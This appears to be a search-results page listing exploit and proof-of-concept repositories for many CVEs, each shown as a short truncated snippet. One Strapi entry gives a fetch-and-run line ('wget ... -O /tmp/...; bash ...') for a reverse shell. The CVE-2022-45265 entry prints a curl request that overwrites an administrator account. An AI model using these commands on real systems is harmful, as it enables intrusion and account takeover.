195552 matches found
CVE-2019-19609-POC-Python
このスクリプトは、"updatedpass" 変数で宣言されたパスワードへのリセットを試みます。成功すると、Strapi から JWT トークンを取得し、それを使用してコマンドを実行します。 bind コマンドの実行は、bash や python などでリバースシェルペイロードを送信しない限り機能しません。.sh ファイルを生成して nc をダウンロードして実行させるなど、どんな方法でもかまいません。elf でも構いません。そのためには、payloadexp を && から に変更してください。例: && $wget xxxx -O /tmp/oooo; bash /tmp/ooo UR...
askWAM
askWAM askWAM requests Microsoft Entra access tokens silently through Windows Web Account Manager WAM. It ships as a .NET Framework client, a standalone native x64 client, and an x64 Beacon Object File with a CNA command adapter. All frontends can enumerate accounts visible to the client and targ...
CVE-2026-15981
CVE-2026-15981 SAML Single Sign On = 5.4.4 - Unauthenticated Authentication Bypass via SAMLResponse Parameter CVE-2026-15981 SAML Single Sign On ≤ 5.4.4 — Unauthenticated Authentication Bypass Proof-of-Concept Exploit Malformed Signature → opensslverify returns -1 → PHP loose cast to true →...
Project-NTLM-Hash-Capture-and-Phishing-Email-Exploitation-for-CVE-2024-21413
Project Goal: The project was created to demonstrate the use of various tools for capturing NTLM hashes from users on a network and for executing phishing attacks using email. This showcases how network authentication vulnerabilities and phishing methods can be exploited to compromise systems...
CVE-2026-53576
Kestra Unauthenticated RCE Exploit CVE-2026-53576 Critical Authentication Bypass leading to Unauthenticated Remote Code Execution Exploit • Vulnerability Details • Impact • Remediation ⚠️ DISCLAIMER This tool is for educational and authorized security testing purposes only. DO NOT use this against...
-CVE-2022-26134
Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 Confluence Pre-Auth Remote Code Execution via OGNL Injection CVE-2022-26134 On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severit...
nextjs-cve-2025-29927
Next.js CVE-2025-29927 Middleware Vulnerability This repository is a monorepo project that allows you to compare the CVE-2025-29927 middleware vulnerability between Next.js versions 15.2.3 and 15.1.7. Vulnerability Description CVE-2025-29927 is a security vulnerability discovered in Next.js...
CVE-2024-6387-Mitigation
Document Title - Mitigation Guide for CVE-2024-6387 in OpenSSH Introduction This document outlines the steps for mitigating CVE-2024-6387, a security vulnerability affecting OpenSSH versions from 8.5p1 to 9.8p1. The vulnerability can be mitigated in two ways: 1. Adjusting the LoginGraceTime setti...
CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit
CVE-2025-14611 CentreStack and Triofox full Poc/Exploit Summary This vulnerability arises from hardcoded cryptographic keys in Gladinet CentreStack and Triofox products, enabling arbitrary file read through forged access tickets. The AES-256 encryption implementation uses static, unchanging keys...
CVE-2022-45265
CVE-2022-45265 In the Sanitization Management System 1.0 distributed by sourcecodester.com curl --location --request POST 'http://localhost/php-sms/classes/Users.php?f=save' \ --form 'id="1"' \ --form 'firstname="HACKED"' \ --form 'lastname="Administrator"' \ --form 'username="admin"' \ --form...
CVE-2025-49113
CVE-2025-49113 Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization...
CVE-2022-26923-rayng
Exploiting CVE-2022-26923: Certificate Authority Privilege Escalation Overview CVE-2022-26923 is a vulnerability in Active Directory Certificate Services AD CS that allows an attacker to escalate privileges by misusing certificate-based authentication. This guide outlines the steps to exploit thi...
MSSQL-Analysis-Coerce
MSSQL Analysis Services - Coerced Authentication A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine. This proof of concept is co-authored by : Podalirius: Worty: Proof of concept In order to trigger the authentification as the local machine account, we need to...
EXPLOIT-CVE-2026-63030
Lab — CVE-2026-63030 “wp2shell” + CVE-2026-60137 Intentionally vulnerable Docker environment with WordPress Core 7.0.1 and a Python exploit demonstrating the pre-authentication wp2shell chain: CVE| Component| What it is ---|---|--- CVE-2026-63030| REST API /wp-json/batch/v1| Route confusion :...
CVE-2026-48908
CVE-2026-48908 — SP Page Builder Unauthenticated RCE SP Page Builder comsppagebuilder for Joomla ≤ 6.6.1 allows unauthenticated attackers to upload arbitrary files and achieve Remote Code Execution. Field| Value ---|--- CVE| CVE-2026-48908 CWE| CWE-284 Improper Access Control Component| SP Page...
CVE-2024-9890
CVE-2024-9890 User Toolkit = 1.2.3 - Authenticated Subscriber+ Authentication Bypass Description: The User Toolkit plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.2.3. This is due to an improper capability check in the 'switchUser' function. This...
CVE-2020-1472-02-
ZeroLogon testing script A Python script that uses the Impacket library to test vulnerability for the Zerologon exploit CVE-2020-1472. It attempts to perform the Netlogon authentication bypass. The script will immediately terminate when successfully performing the bypass, and not perform any...
CVE-2025-60375
CVE-2025-60375 CVE-2025-60375 — Authentication bypass / incorrect access control in PerfexCRM Note: Steps above are the original discovery steps reported by Ajansha Shankar and Ahamed Yaseen. References OWASP Authentication Cheat Sheet — gui...
CVE-2025-32433
Erlang/OTP SSH Remote Code Execution Vulnerability. The root cause is a flaw in the SSH protocol's message handling mechanism, allowing attackers to send connection protocol messages before authentication is complete. Notably, this vulnerability affects all Erlang/OTP versions running SSH server...